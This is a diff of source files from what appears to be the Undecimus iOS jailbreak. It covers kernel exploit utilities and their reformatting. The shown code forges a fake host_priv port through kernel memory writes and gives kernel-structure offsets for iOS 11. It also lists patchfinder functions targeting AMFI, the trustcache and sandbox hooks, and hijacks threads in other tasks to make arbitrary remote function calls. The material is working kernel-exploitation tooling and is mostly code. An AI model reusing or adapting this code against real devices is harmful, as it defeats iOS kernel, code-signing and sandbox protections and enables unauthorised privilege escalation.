#define IO_ACTIVE 0x80000000
|
||||
wk32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_HOST_PRIV);
|
||||
|
||||
// change the space of the port
|
||||
wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel());
|
||||
|
||||
// set the kobject
|
||||
wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), realhost);
|
||||
|
||||
fake_host_priv_port = port;
|
||||
|
||||
return port;
|
||||
}
|
||||
|
||||
@@ -1,14 +0,0 @@
|
||||
#ifndef kutils_h
|
||||
#define kutils_h
|
||||
|
||||
#include <mach/mach.h>
|
||||
|
||||
uint64_t task_self_addr(void);
|
||||
uint64_t ipc_space_kernel(void);
|
||||
uint64_t find_kernel_base(void);
|
||||
|
||||
uint64_t current_thread(void);
|
||||
|
||||
mach_port_t fake_host_priv(void);
|
||||
|
||||
#endif /* kutils_h */
|
||||
@@ -3,18 +3,16 @@
|
||||
// Undecimus
|
||||
//
|
||||
// Created by pwn20wnd on 8/29/18.
|
||||
// Copyright © 2018 Pwn20wnd. All rights reserved.
|
||||
// Copyright © 2018 - 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#include <dlfcn.h>
|
||||
#import <UIKit/UIKit.h>
|
||||
#import "AppDelegate.h"
|
||||
#include "SettingsTableViewController.h"
|
||||
|
||||
int main(int argc, char * argv[]) {
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
@autoreleasepool {
|
||||
START_LOGGING();
|
||||
return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class]));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,6 +1,6 @@
|
||||
#ifndef multi_path_sploit_h
|
||||
#define multi_path_sploit_h
|
||||
|
||||
void mptcp_go(void);
|
||||
bool mptcp_go(void);
|
||||
|
||||
#endif
|
||||
|
||||
@@ -1,55 +0,0 @@
|
||||
#ifndef offsets_h
|
||||
#define offsets_h
|
||||
|
||||
enum kstruct_offset {
|
||||
/* struct task */
|
||||
KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
|
||||
KSTRUCT_OFFSET_TASK_REF_COUNT,
|
||||
KSTRUCT_OFFSET_TASK_ACTIVE,
|
||||
KSTRUCT_OFFSET_TASK_VM_MAP,
|
||||
KSTRUCT_OFFSET_TASK_NEXT,
|
||||
KSTRUCT_OFFSET_TASK_PREV,
|
||||
KSTRUCT_OFFSET_TASK_ITK_SPACE,
|
||||
KSTRUCT_OFFSET_TASK_BSD_INFO,
|
||||
|
||||
/* struct ipc_port */
|
||||
KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
|
||||
KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
|
||||
|
||||
/* struct proc */
|
||||
KSTRUCT_OFFSET_PROC_PID,
|
||||
KSTRUCT_OFFSET_PROC_P_FD,
|
||||
|
||||
/* struct filedesc */
|
||||
KSTRUCT_OFFSET_FILEDESC_FD_OFILES,
|
||||
|
||||
/* struct fileproc */
|
||||
KSTRUCT_OFFSET_FILEPROC_F_FGLOB,
|
||||
|
||||
/* struct fileglob */
|
||||
KSTRUCT_OFFSET_FILEGLOB_FG_DATA,
|
||||
|
||||
/* struct socket */
|
||||
KSTRUCT_OFFSET_SOCKET_SO_PCB,
|
||||
|
||||
/* struct pipe */
|
||||
KSTRUCT_OFFSET_PIPE_BUFFER,
|
||||
|
||||
/* struct ipc_space */
|
||||
KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE,
|
||||
KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE,
|
||||
|
||||
KFREE_ADDR_OFFSET,
|
||||
};
|
||||
|
||||
int koffset(enum kstruct_offset offset);
|
||||
void offsets_init(void);
|
||||
|
||||
#endif
|
||||
@@ -1,111 +0,0 @@
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#include "offsets.h"
|
||||
|
||||
int* offsets = NULL;
|
||||
|
||||
int kstruct_offsets_11_0[] = {
|
||||
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
|
||||
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,
|
||||
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE,
|
||||
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP,
|
||||
0x28, // KSTRUCT_OFFSET_TASK_NEXT,
|
||||
0x30, // KSTRUCT_OFFSET_TASK_PREV,
|
||||
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
|
||||
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
|
||||
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
|
||||
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
|
||||
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
|
||||
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
|
||||
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
|
||||
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
|
||||
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
|
||||
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PROC_PID,
|
||||
0x108, // KSTRUCT_OFFSET_PROC_P_FD
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
|
||||
|
||||
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
|
||||
|
||||
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
|
||||
|
||||
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
|
||||
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
|
||||
|
||||
0x6c, // KFREE_ADDR_OFFSET
|
||||
};
|
||||
|
||||
int kstruct_offsets_11_3[] = {
|
||||
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
|
||||
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,
|
||||
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE,
|
||||
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP,
|
||||
0x28, // KSTRUCT_OFFSET_TASK_NEXT,
|
||||
0x30, // KSTRUCT_OFFSET_TASK_PREV,
|
||||
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
|
||||
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
|
||||
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
|
||||
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
|
||||
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
|
||||
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
|
||||
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
|
||||
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
|
||||
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
|
||||
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PROC_PID,
|
||||
0x108, // KSTRUCT_OFFSET_PROC_P_FD
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
|
||||
|
||||
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
|
||||
|
||||
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
|
||||
|
||||
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
|
||||
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
|
||||
|
||||
0x7c, // KFREE_ADDR_OFFSET
|
||||
};
|
||||
|
||||
int koffset(enum kstruct_offset offset) {
|
||||
if (offsets == NULL) {
|
||||
printf("need to call offsets_init() prior to querying offsets\n");
|
||||
return 0;
|
||||
}
|
||||
return offsets[offset];
|
||||
}
|
||||
|
||||
|
||||
void offsets_init() {
|
||||
if (kCFCoreFoundationVersionNumber >= 1452.23) {
|
||||
printf("offsets selected for iOS 11.3 or above\n");
|
||||
offsets = kstruct_offsets_11_3;
|
||||
} else if (kCFCoreFoundationVersionNumber >= 1443.00) {
|
||||
printf("offsets selected for iOS 11.0 to 11.2.6\n");
|
||||
offsets = kstruct_offsets_11_0;
|
||||
} else {
|
||||
printf("iOS version too low, 11.0 required\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,55 +0,0 @@
|
||||
#ifndef PATCHFINDER64_H_
|
||||
#define PATCHFINDER64_H_
|
||||
|
||||
int init_kernel(uint64_t base, const char *filename);
|
||||
void term_kernel(void);
|
||||
|
||||
enum { SearchInCore, SearchInPrelink };
|
||||
|
||||
uint64_t find_register_value(uint64_t where, int reg);
|
||||
uint64_t find_reference(uint64_t to, int n, int prelink);
|
||||
uint64_t find_strref(const char *string, int n, int prelink);
|
||||
uint64_t find_gPhysBase(void);
|
||||
uint64_t find_kernel_pmap(void);
|
||||
uint64_t find_amfiret(void);
|
||||
uint64_t find_ret_0(void);
|
||||
uint64_t find_amfi_memcmpstub(void);
|
||||
uint64_t find_sbops(void);
|
||||
uint64_t find_lwvm_mapio_patch(void);
|
||||
uint64_t find_lwvm_mapio_newj(void);
|
||||
|
||||
uint64_t find_entry(void);
|
||||
const unsigned char *find_mh(void);
|
||||
|
||||
uint64_t find_cpacr_write(void);
|
||||
uint64_t find_str(const char *string);
|
||||
uint64_t find_amfiops(void);
|
||||
uint64_t find_sysbootnonce(void);
|
||||
uint64_t find_trustcache(void);
|
||||
uint64_t find_amficache(void);
|
||||
uint64_t find_allproc(void);
|
||||
uint64_t find_add_x0_x0_0x40_ret(void);
|
||||
uint64_t find_copyout(void);
|
||||
uint64_t find_bzero(void);
|
||||
uint64_t find_bcopy(void);
|
||||
uint64_t find_rootvnode(void);
|
||||
uint64_t find_realhost(void);
|
||||
uint64_t find_zone_map_ref(void);
|
||||
uint64_t find_OSBoolean_True(void);
|
||||
uint64_t find_OSBoolean_False(void);
|
||||
uint64_t find_osunserializexml(void);
|
||||
uint64_t find_smalloc(void);
|
||||
uint64_t find_vfs_context_current(void);
|
||||
uint64_t find_vnode_lookup(void);
|
||||
uint64_t find_vnode_put(void);
|
||||
uint64_t find_vnode_getfromfd(void);
|
||||
uint64_t find_vnode_getattr(void);
|
||||
uint64_t find_SHA1Init(void);
|
||||
uint64_t find_SHA1Update(void);
|
||||
uint64_t find_SHA1Final(void);
|
||||
uint64_t find_csblob_entitlements_dictionary_set(void);
|
||||
uint64_t find_kernel_task(void);
|
||||
uint64_t find_kernproc(void);
|
||||
|
||||
#endif
|
||||
|
||||
+248
-258
@@ -1,14 +1,14 @@
|
||||
#include <fcntl.h>
|
||||
#include <pthread.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdarg.h>
|
||||
#include <pthread.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/task.h>
|
||||
#include <mach/mach_error.h>
|
||||
#include <mach/mach_traps.h>
|
||||
#include <mach/task.h>
|
||||
|
||||
extern uint64_t
|
||||
find_blr_x19_gadget(void);
|
||||
@@ -16,6 +16,7 @@ find_blr_x19_gadget(void);
|
||||
#include "remote_call.h"
|
||||
#include "remote_memory.h"
|
||||
|
||||
#include <common.h>
|
||||
|
||||
// no support for non-register args
|
||||
#define MAX_REMOTE_ARGS 8
|
||||
@@ -23,278 +24,269 @@ find_blr_x19_gadget(void);
|
||||
// not in iOS SDK headers:
|
||||
extern void
|
||||
_pthread_set_self(
|
||||
pthread_t p);
|
||||
pthread_t p);
|
||||
|
||||
uint64_t call_remote(mach_port_t task_port, void* fptr, int n_params, ...)
|
||||
{
|
||||
if (n_params > MAX_REMOTE_ARGS || n_params < 0){
|
||||
printf("unsupported number of arguments to remote function (%d)\n", n_params);
|
||||
return 0;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
|
||||
uint64_t remote_stack_base = 0;
|
||||
uint64_t remote_stack_size = 4*1024*1024;
|
||||
|
||||
remote_stack_base = remote_alloc(task_port, remote_stack_size);
|
||||
|
||||
uint64_t remote_stack_middle = remote_stack_base + (remote_stack_size/2);
|
||||
|
||||
// create a new thread in the target
|
||||
// just using the mach thread API doesn't initialize the pthread thread-local-storage
|
||||
// which means that stuff which relies on that will crash
|
||||
// we can sort-of make that work by calling _pthread_set_self(NULL) in the target process
|
||||
// which will give the newly created thread the same TLS region as the main thread
|
||||
|
||||
|
||||
_STRUCT_ARM_THREAD_STATE64 thread_state = {0};
|
||||
mach_msg_type_number_t thread_stateCnt = sizeof(thread_state)/4;
|
||||
|
||||
// we'll start the thread running and call _pthread_set_self first:
|
||||
thread_state.__sp = remote_stack_middle;
|
||||
thread_state.__pc = (uint64_t)_pthread_set_self;
|
||||
|
||||
// set these up to put us into a predictable state we can monitor for:
|
||||
uint64_t loop_lr = find_blr_x19_gadget();
|
||||
thread_state.__x[19] = loop_lr;
|
||||
thread_state.__lr = loop_lr;
|
||||
|
||||
// set the argument to NULL:
|
||||
thread_state.__x[0] = 0;
|
||||
|
||||
mach_port_t thread_port = MACH_PORT_NULL;
|
||||
|
||||
err = thread_create_running(task_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, thread_stateCnt, &thread_port);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("error creating thread in child: %s\n", mach_error_string(err));
|
||||
return 0;
|
||||
}
|
||||
printf("new thread running in child: %x\n", thread_port);
|
||||
|
||||
// wait for it to hit the loop:
|
||||
while(1){
|
||||
// monitor the thread until we see it's in the infinite loop indicating it's done:
|
||||
err = thread_get_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, &thread_stateCnt);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("error getting thread state: %s\n", mach_error_string(err));
|
||||
return 0;
|
||||
if (n_params > MAX_REMOTE_ARGS || n_params < 0) {
|
||||
LOG("unsupported number of arguments to remote function (%d)", n_params);
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (thread_state.__pc == loop_lr && thread_state.__x[19] == loop_lr){
|
||||
// thread has returned from the target function
|
||||
break;
|
||||
|
||||
kern_return_t err;
|
||||
|
||||
uint64_t remote_stack_base = 0;
|
||||
uint64_t remote_stack_size = 4 * 1024 * 1024;
|
||||
|
||||
remote_stack_base = remote_alloc(task_port, remote_stack_size);
|
||||
|
||||
uint64_t remote_stack_middle = remote_stack_base + (remote_stack_size / 2);
|
||||
|
||||
// create a new thread in the target
|
||||
// just using the mach thread API doesn't initialize the pthread thread-local-storage
|
||||
// which means that stuff which relies on that will crash
|
||||
// we can sort-of make that work by calling _pthread_set_self(NULL) in the target process
|
||||
// which will give the newly created thread the same TLS region as the main thread
|
||||
|
||||
_STRUCT_ARM_THREAD_STATE64 thread_state = { 0 };
|
||||
mach_msg_type_number_t thread_stateCnt = sizeof(thread_state) / 4;
|
||||
|
||||
// we'll start the thread running and call _pthread_set_self first:
|
||||
thread_state.__sp = remote_stack_middle;
|
||||
thread_state.__pc = (uint64_t)_pthread_set_self;
|
||||
|
||||
// set these up to put us into a predictable state we can monitor for:
|
||||
uint64_t loop_lr = find_blr_x19_gadget();
|
||||
thread_state.__x[19] = loop_lr;
|
||||
thread_state.__lr = loop_lr;
|
||||
|
||||
// set the argument to NULL:
|
||||
thread_state.__x[0] = 0;
|
||||
|
||||
mach_port_t thread_port = MACH_PORT_NULL;
|
||||
|
||||
err = thread_create_running(task_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, thread_stateCnt, &thread_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("error creating thread in child: %s", mach_error_string(err));
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
// the thread should now have pthread local storage
|
||||
// pause it:
|
||||
|
||||
err = thread_suspend(thread_port);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unable to suspend target thread\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
LOG("new thread running in child: %x", thread_port);
|
||||
|
||||
// wait for it to hit the loop:
|
||||
while (1) {
|
||||
// monitor the thread until we see it's in the infinite loop indicating it's done:
|
||||
err = thread_get_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, &thread_stateCnt);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("error getting thread state: %s", mach_error_string(err));
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (thread_state.__pc == loop_lr && thread_state.__x[19] == loop_lr) {
|
||||
// thread has returned from the target function
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// the thread should now have pthread local storage
|
||||
// pause it:
|
||||
|
||||
err = thread_suspend(thread_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to suspend target thread");
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
err = thread_abort(thread_port);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unable to get thread out of any traps\n");
|
||||
LOG("unable to get thread out of any traps");
|
||||
return 0;
|
||||
}
|
||||
*/
|
||||
|
||||
// set up for the actual target call:
|
||||
thread_state.__sp = remote_stack_middle;
|
||||
thread_state.__pc = (uint64_t)fptr;
|
||||
|
||||
// set these up to put us into a predictable state we can monitor for:
|
||||
thread_state.__x[19] = loop_lr;
|
||||
thread_state.__lr = loop_lr;
|
||||
|
||||
va_list ap;
|
||||
va_start(ap, n_params);
|
||||
|
||||
arg_desc* args[MAX_REMOTE_ARGS] = {0};
|
||||
|
||||
uint64_t remote_buffers[MAX_REMOTE_ARGS] = {0};
|
||||
//uint64_t remote_buffer_sizes[MAX_REMOTE_ARGS] = {0};
|
||||
|
||||
for (int i = 0; i < n_params; i++){
|
||||
arg_desc* arg = va_arg(ap, arg_desc*);
|
||||
|
||||
args[i] = arg;
|
||||
|
||||
switch(arg->type){
|
||||
case ARG_LITERAL:
|
||||
{
|
||||
thread_state.__x[i] = arg->value;
|
||||
break;
|
||||
}
|
||||
|
||||
case ARG_BUFFER:
|
||||
case ARG_BUFFER_PERSISTENT:
|
||||
{
|
||||
uint64_t remote_buffer = alloc_and_fill_remote_buffer(task_port, arg->value, arg->length);
|
||||
remote_buffers[i] = remote_buffer;
|
||||
thread_state.__x[i] = remote_buffer;
|
||||
break;
|
||||
}
|
||||
|
||||
case ARG_OUT_BUFFER:
|
||||
{
|
||||
uint64_t remote_buffer = remote_alloc(task_port, arg->length);
|
||||
printf("allocated a remote out buffer: %llx\n", remote_buffer);
|
||||
remote_buffers[i] = remote_buffer;
|
||||
thread_state.__x[i] = remote_buffer;
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
{
|
||||
printf("invalid argument type!\n");
|
||||
}
|
||||
|
||||
// set up for the actual target call:
|
||||
thread_state.__sp = remote_stack_middle;
|
||||
thread_state.__pc = (uint64_t)fptr;
|
||||
|
||||
// set these up to put us into a predictable state we can monitor for:
|
||||
thread_state.__x[19] = loop_lr;
|
||||
thread_state.__lr = loop_lr;
|
||||
|
||||
va_list ap;
|
||||
va_start(ap, n_params);
|
||||
|
||||
arg_desc* args[MAX_REMOTE_ARGS] = { 0 };
|
||||
|
||||
uint64_t remote_buffers[MAX_REMOTE_ARGS] = { 0 };
|
||||
//uint64_t remote_buffer_sizes[MAX_REMOTE_ARGS] = {0};
|
||||
|
||||
for (int i = 0; i < n_params; i++) {
|
||||
arg_desc* arg = va_arg(ap, arg_desc*);
|
||||
|
||||
args[i] = arg;
|
||||
|
||||
switch (arg->type) {
|
||||
case ARG_LITERAL: {
|
||||
thread_state.__x[i] = arg->value;
|
||||
break;
|
||||
}
|
||||
|
||||
case ARG_BUFFER:
|
||||
case ARG_BUFFER_PERSISTENT: {
|
||||
uint64_t remote_buffer = alloc_and_fill_remote_buffer(task_port, arg->value, arg->length);
|
||||
remote_buffers[i] = remote_buffer;
|
||||
thread_state.__x[i] = remote_buffer;
|
||||
break;
|
||||
}
|
||||
|
||||
case ARG_OUT_BUFFER: {
|
||||
uint64_t remote_buffer = remote_alloc(task_port, arg->length);
|
||||
LOG("allocated a remote out buffer: %llx", remote_buffer);
|
||||
remote_buffers[i] = remote_buffer;
|
||||
thread_state.__x[i] = remote_buffer;
|
||||
break;
|
||||
}
|
||||
|
||||
default: {
|
||||
LOG("invalid argument type!");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
va_end(ap);
|
||||
|
||||
err = thread_set_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, thread_stateCnt);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("error setting new thread state: %s\n", mach_error_string(err));
|
||||
return 0;
|
||||
}
|
||||
printf("thread state updated in target: %x\n", thread_port);
|
||||
|
||||
err = thread_resume(thread_port);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unable to resume target thread\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
while(1){
|
||||
// monitor the thread until we see it's in the infinite loop indicating it's done:
|
||||
err = thread_get_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, &thread_stateCnt);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("error getting thread state: %s\n", mach_error_string(err));
|
||||
return 0;
|
||||
|
||||
va_end(ap);
|
||||
|
||||
err = thread_set_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, thread_stateCnt);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("error setting new thread state: %s", mach_error_string(err));
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (thread_state.__pc == loop_lr/*&& thread_state.__x[19] == loop_lr*/){
|
||||
// thread has returned from the target function
|
||||
break;
|
||||
LOG("thread state updated in target: %x", thread_port);
|
||||
|
||||
err = thread_resume(thread_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to resume target thread");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// thread isn't in the infinite loop yet, let it continue
|
||||
}
|
||||
|
||||
// deallocate the remote thread
|
||||
err = thread_terminate(thread_port);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("failed to terminate thread\n");
|
||||
return 0;
|
||||
}
|
||||
mach_port_deallocate(mach_task_self(), thread_port);
|
||||
|
||||
// handle post-call argument cleanup/copying:
|
||||
for (int i = 0; i < MAX_REMOTE_ARGS; i++){
|
||||
arg_desc* arg = args[i];
|
||||
if (arg == NULL){
|
||||
break;
|
||||
|
||||
while (1) {
|
||||
// monitor the thread until we see it's in the infinite loop indicating it's done:
|
||||
err = thread_get_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, &thread_stateCnt);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("error getting thread state: %s", mach_error_string(err));
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (thread_state.__pc == loop_lr /*&& thread_state.__x[19] == loop_lr*/) {
|
||||
// thread has returned from the target function
|
||||
break;
|
||||
}
|
||||
|
||||
// thread isn't in the infinite loop yet, let it continue
|
||||
}
|
||||
switch (arg->type){
|
||||
case ARG_BUFFER:
|
||||
{
|
||||
remote_free(task_port, remote_buffers[i], arg->length);
|
||||
break;
|
||||
}
|
||||
|
||||
case ARG_OUT_BUFFER:
|
||||
{
|
||||
// copy the contents back:
|
||||
remote_read_overwrite(task_port, remote_buffers[i], arg->value, arg->length);
|
||||
remote_free(task_port, remote_buffers[i], arg->length);
|
||||
break;
|
||||
}
|
||||
|
||||
// deallocate the remote thread
|
||||
err = thread_terminate(thread_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to terminate thread");
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
uint64_t ret_val = thread_state.__x[0];
|
||||
|
||||
printf("remote function call return value: %llx\n", ret_val);
|
||||
|
||||
// deallocate the stack in the target:
|
||||
remote_free(task_port, remote_stack_base, remote_stack_size);
|
||||
|
||||
return ret_val;
|
||||
mach_port_deallocate(mach_task_self(), thread_port);
|
||||
|
||||
// handle post-call argument cleanup/copying:
|
||||
for (int i = 0; i < MAX_REMOTE_ARGS; i++) {
|
||||
arg_desc* arg = args[i];
|
||||
if (arg == NULL) {
|
||||
break;
|
||||
}
|
||||
switch (arg->type) {
|
||||
case ARG_BUFFER: {
|
||||
remote_free(task_port, remote_buffers[i], arg->length);
|
||||
break;
|
||||
}
|
||||
|
||||
case ARG_OUT_BUFFER: {
|
||||
// copy the contents back:
|
||||
remote_read_overwrite(task_port, remote_buffers[i], arg->value, arg->length);
|
||||
remote_free(task_port, remote_buffers[i], arg->length);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
uint64_t ret_val = thread_state.__x[0];
|
||||
|
||||
LOG("remote function call return value: %llx", ret_val);
|
||||
|
||||
// deallocate the stack in the target:
|
||||
remote_free(task_port, remote_stack_base, remote_stack_size);
|
||||
|
||||
return ret_val;
|
||||
}
|
||||
|
||||
// thread should be suspended already; will return suspended
|
||||
uint64_t thread_call_remote(mach_port_t thread_port, void* fptr, int n_params, ...)
|
||||
{
|
||||
if (n_params > MAX_REMOTE_ARGS || n_params < 0){
|
||||
printf("unsupported number of arguments to remote function (%d)\n", n_params);
|
||||
if (n_params > MAX_REMOTE_ARGS || n_params < 0) {
|
||||
LOG("unsupported number of arguments to remote function (%d)", n_params);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
kern_return_t err;
|
||||
//#if 0
|
||||
// suspend the target thread we'll hijack:
|
||||
err = thread_suspend(thread_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("failed to suspend the thread we're trying to hijack: %s\n", mach_error_string(err));
|
||||
LOG("failed to suspend the thread we're trying to hijack: %s", mach_error_string(err));
|
||||
return 0;
|
||||
}
|
||||
//#endif
|
||||
|
||||
|
||||
// save its suspended state so we can restore it:
|
||||
_STRUCT_ARM_THREAD_STATE64 saved_thread_state = {0};
|
||||
mach_msg_type_number_t saved_thread_stateCnt = sizeof(saved_thread_state)/4;
|
||||
// printf("saved thread state count before: %d\n", saved_thread_stateCnt);
|
||||
_STRUCT_ARM_THREAD_STATE64 saved_thread_state = { 0 };
|
||||
mach_msg_type_number_t saved_thread_stateCnt = sizeof(saved_thread_state) / 4;
|
||||
// LOG("saved thread state count before: %d", saved_thread_stateCnt);
|
||||
err = thread_get_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&saved_thread_state, &saved_thread_stateCnt);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("error getting thread state to save: %s\n", mach_error_string(err));
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("error getting thread state to save: %s", mach_error_string(err));
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
// dump the state:
|
||||
//printf("pc: 0x%016llx\n", saved_thread_state.__pc);
|
||||
//printf("sp: 0x%016llx\n", saved_thread_state.__sp);
|
||||
//LOG("pc: 0x%016llx", saved_thread_state.__pc);
|
||||
//LOG("sp: 0x%016llx", saved_thread_state.__sp);
|
||||
//for (int i = 0; i < 29; i++) {
|
||||
// printf("x%d: 0x%016llx\n", i, saved_thread_state.__x[i]);
|
||||
// LOG("x%d: 0x%016llx", i, saved_thread_state.__x[i]);
|
||||
//}
|
||||
|
||||
|
||||
// build the state we need for the arbitrary call:
|
||||
_STRUCT_ARM_THREAD_STATE64 fcall_thread_state = {0};
|
||||
mach_msg_type_number_t fcall_thread_stateCnt = sizeof(fcall_thread_state)/4;
|
||||
_STRUCT_ARM_THREAD_STATE64 fcall_thread_state = { 0 };
|
||||
mach_msg_type_number_t fcall_thread_stateCnt = sizeof(fcall_thread_state) / 4;
|
||||
memcpy(&fcall_thread_state, &saved_thread_state, sizeof(fcall_thread_state));
|
||||
|
||||
|
||||
|
||||
// make sure we can determine when the function call is done
|
||||
fcall_thread_state.__x[19] = find_blr_x19_gadget();
|
||||
fcall_thread_state.__lr = find_blr_x19_gadget();
|
||||
|
||||
|
||||
// set the pc
|
||||
fcall_thread_state.__pc = (uint64_t)fptr;
|
||||
|
||||
|
||||
// load the arguments
|
||||
va_list ap;
|
||||
va_start(ap, n_params);
|
||||
|
||||
